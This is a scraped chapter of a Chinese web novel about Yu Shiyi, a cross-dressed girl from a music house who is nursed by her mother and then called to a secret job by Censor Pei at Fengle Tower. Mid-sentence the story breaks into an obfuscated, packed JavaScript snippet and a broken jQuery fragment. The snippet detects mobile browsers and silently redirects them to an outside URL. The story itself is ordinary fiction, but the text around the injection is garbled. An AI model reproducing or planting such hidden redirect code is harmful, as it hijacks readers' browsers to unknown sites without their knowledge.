文趣网 > 其他小说 > 裴御史和他苦命的牛马 > 4. 来生意了
    “关门关窗,防偷防盗!”

    持更人已在太康街走了两趟了,玉人轩的后院仍燃着烛火。

    越到深处姑娘们的笑闹声越清晰,口中聊的,无非是今日被点了几曲琵琶、唱了谁的词作。

    也会评一评客人的诗词,比如哪家公子在附庸风雅、哪位儒生是无病呻吟。

    若是往常,鱼十一也会和姐妹们一起聊闲。

    可她现在穿着里衣,身上青一块紫一块的,跟条烂鱼一样趴在小榻上,哪还有心思去聊闲。

    “还是家好啊,舒坦。”她呼了口气,忽地眉心一紧,“哎呦,娘您轻着点儿啊!”

    丽娘白了她一眼,手上推按的力道又重的了几分,“就该把你的腰掐断喽,看你还怎么往外跑,一天天的净给老娘惹事。”

    鱼十一扭过脸,惨兮兮道:“娘,我今天还摔到头了。”

    “小祖宗,等着。”丽娘剜了她一眼,取出一旁备好的鸡蛋,俯下身给她滚后脑。

    她摸着鱼十一脑后那块不大不小的凸起,语气软了几分,“后日,就是相府的寿宴了,人家请了咱们乐坊去祝寿。”

    “你老实跟着去,正好我也缺人收勋贵赏的缠头,别想背着我瞎出去鬼混,再弄一身伤回来,老娘可不管你。”

    半晌,没有应答。

    丽娘眉头一皱,她转了转酸胀的腕子,“你这孩子,又给老娘装听见是不是?”

    又过了一会儿,仍不见应答,只有绵长均匀的呼吸声在屋中回荡。

    丽娘怔了一瞬,她凑近瞧着女儿乖顺的睡颜,轻叹道:“真是我活祖宗。”

    鱼十一似是梦到了什么,嘴唇拱了拱,嘟囔了句:“娘,别生气了。”

    丽娘笑着摇了摇头,轻轻拍抚着呓的女儿,神情却渐渐落寞。

    吱呀一声,房门被缓缓推开,夜风渗了进来。

    丽娘啧了一声,紧忙摆手。

    进门那人,便是鱼十一的师父迟玉。

    他身姿挺拔、五官深邃。饱满的额头溢满了汗,身上的褐色抱衣也被浸湿了大半。

    见丽娘瞪眼,他立即关严了门,刚走几步便顿住了。

    望着鱼十一身上斑驳的青紫,他喉咙一紧,压怒气问道:“谁弄的?”

    提起这事儿,丽娘又气上心头,“惹上当差的了呗,说是帮敕勒人找孩子,让人当探子抓了。”

    他脸色一沉,张着嘴久久吐不出一个音。

    “老娘把事儿都平了,你来劲儿了。”

    丽娘低骂道:“说几回了,练完就不能洗个澡?一身臭汗。”

    迟玉讷讷地点了点头,转身欲走。

    “站住。”丽娘用气声喊道。

    “还有,十一都是大姑娘了,你少往她屋里头进。怎么,还真当她是小小子啊。”

    他想了想,“是我思虑不全,还是你细致些,十一这孩子就拜托你了。”

    丽娘呼吸一重,立刻撵道:“老娘的儿子用你叮嘱?滚滚滚!”

    鱼十一哼哼唧唧地翻了个身。

    迟玉眉头一挑,不敢多留,轻手轻脚地退了出去。

    丽娘轻抚着鱼十一的后背,小声哼着歌。

    “天皇皇,地皇皇,我家有个夜哭娘,仁人君子念一遍,一觉睡到大天亮。”

    “天皇皇,地皇皇……”

    娘亲的哼唱清润的如溪水,缓缓流入鱼十一的耳里。

    鱼十一的眉头徐徐舒展,细碎的梦呓也渐渐止了。

    她睡安稳了,丽娘也不愿离去,只定定地望着她的熟睡的眉眼。

    丽娘就这样守着鱼十一,直至西窗的灯油燃尽,才在晦暗烛影中,俯身轻吻她的额头。

    -

    翌日。

    鱼十一扶着腰,缓步挪到圆凳前,才坐下就“哎呦”一声站直了。

    她咧着嘴,“疼死小爷了,怎么跟让人揍了一顿似的。”

    诶?

    她眨了眨眼,想起昨日那倒霉的遭遇,喃喃道:“还真是让人给揍了一顿。”

    昨夜,她被娘亲拉着好一通舒筋活络,没多久便睡了。

    至于娘后来又说了什么,她记不清了,迷迷糊糊间,好像听见了师父的声音。

    算起来,她已经三个多月没看到师父了,还怪想他的。

    虽然娘说他死外头更好,但娘总是刀子嘴豆腐心,要是师父敕勒人的身份暴露被抓了,她估计哭得比谁都伤心。

    唉,就是不知道昨天那案子跟师父有没有关系。

    不管怎样她都要查下去,大不了多赚些金饼,带着师父和娘去塞北大漠。

    正好没人认识她,也不用扭扭捏捏地继续扮男人。

    砰砰……

    窗外响起了一重一轻的敲击声。

    是小乞儿和她的暗号。

    莫非,来活了?真是瞌睡来了,有人递枕头。

    鱼十一匆匆套了件外衫就拉开了窗子。

    一只脏兮兮的小手伸了进来,掌心里盛着一个皱巴巴的纸团。

    她立刻取走信纸,倚着墙徐徐展开。

    ‘丰乐楼,地字号里间,黄品尖货。’

    她双眼瞬间瞪大,漆黑的瞳仁亮得发光。

    “黄品尖货,金饼!”

    “一块金饼就是十两!这得是多大的生意啊?”

    她也顾不得疼,一屁股坐地上,三两下就穿上了靴子,嘴里还念叨着,“发财了,发财了。”

    正兴头上,房门砰地一声被推开了。

    小丫鬟桃之叉着腰,“夫人交代了,小郎君不能出去,要在家静养。”

    鱼十一眉头一皱,暗叫不好。

    这是她娘用的最顺手的丫鬟,别无原因,就是够倔。

    “你看小爷好端端站在这里,还需要静养吗?行了行了,快走吧。”

    桃之狐疑得打量着她,神色纠结。

    还好这丫头脑子又倔又不好使。鱼十一系好腰绳,径直走了出去。

    临下楼,她回头嘱咐:“我去城南的茶馆听书,夫人要是问,你就说小郎君很健康,让她别担心。”

    “呃……是。”

    城南的茶馆总是讲些救风尘、书生与狐妖、老爷和丫鬟的故事,丽娘向来厌恶这种故事,鱼十一就是拿准了她不会找来。

    她出了玉人轩,两只脚紧着倒腾,没多久就到了长安坊的丰乐楼门口。

    长安坊是离皇城最近的坊市,也是宁安城白日里最豪华之所在,不少身无官职的皇亲都在这里置办了产业。

    传言中,丰乐楼的东家便是位身份尊贵的大人物,不然怎么接待各国

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766390|209713||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    外使的生意,都落到丰乐楼上了。

    鱼十一站在大街中央,仰头一看。

    此楼崇阁巍峨,共有五层楼阙,圆塔般堆叠着,高低错落。

    檐上皆缀青石雕刻的瑞兽,檐下挂着玉琢金镶的风铃,一阵风拂过,整栋楼都萦绕着佩环之音。

    楼内,打扮艳丽的舞姬在高台上跳着热辣的胡旋舞。

    台下围了一圈金丝楠木的雕花长桌,达官显贵们有的在谈笑小酌,有的站在桌上与胡姬共舞。

    鱼十一虽自诩小爷,玉人轩也算宁安一顶一的民间乐坊。

    但这等锦筵玉馔、宴酣笙繁之地,她也是头一遭来,还真是开了眼界。

    她刚迈入一只脚,便有侍者躬身相迎。

    “公子楼上请,贵客已等候多时了。”

    她心头一震,这小二怎么认识她?余光扫了眼此间的雕栏玉砌,心下宽慰许多。

    毕竟大人物总有自己的消息渠道,没必要大惊小怪。

    想是这么想,但说到底,大人物的生意就是不好做啊。更有甚者,任务完成的越好死得越快。

    鱼十一的脸色逐渐苍白,额头的细汗不停地往外渗,每一次迈步,脚上都似是坠着块大铁球。

    她需要钱。

    她想带着娘亲和师父离开宁安,更需要足够她不嫁人也能活完一生的家资,但这些,没个几千两银子是行不通的。

    侍者抬手恭敬道:“公子请。”

    说罢,便快步离开了。

    鱼十一呼吸愈加粗重,她颤颤巍巍地伸出手,虚虚按在门上。

    她重重地吸了口气,咬紧牙一推。

    门才刚开出一条缝,泛着银光的匕首便抵住了她的颈窝。

    一股冰冷的刺痛感霎时袭来,只稍再深一寸,她细嫩的脖子就会血流如注。

    鱼十一呼吸一滞,整个人都僵住了,额头的汗流进了眼里,她也不敢眨。

    那主顾背对着她,迟迟未动,也看不见长相。

    他一席月白锦衫,腰间束着一条玄黑蹀躞带,挂着的几枚玉饰,成色都十分清透,拆下来一枚估计都能值十个金饼了。

    “来了。”

    一阵清冽的声音传入她耳中。

    只见他徐徐转过身,露出一张鱼十一记忆深刻的脸。

    她怔住了,转念一想,好歹是熟人相见。当即便扬起了唇角,却只牵动了皮,肉还僵着。

    “放下。”

    抵在鱼十一颈间的匕首应声收回。

    她立刻摸了摸脖子,指腹在压痕上反复摩挲,她眸中闪过一丝疑虑,偷偷瞥了眼持刀者。

    明明是个清瘦的少年,力道却不小。可这近乎封喉的架势,她竟连皮都没破。

    莫非……这匕首没开刃?

    不待她深想,尊贵的裴御史便开了口。

    “丰乐楼的白毫不错。”

    他扽了扽宽袖,一只骨节分明的手,缓缓提起质地通透的碧青瓷盏,不急不徐地斟了两杯。

    鱼十一心中的惧意退了一半,双腿却依然抖个不停,只得深一脚浅一脚的挪蹭着,半晌才落了座。

    裴清辞眉头微挑,他抚袖指了指冒着热气的茶。

    不愧是丰乐楼,茶汤都这般清澈见底,细闻之下,还回荡着雨后嫩叶的香气。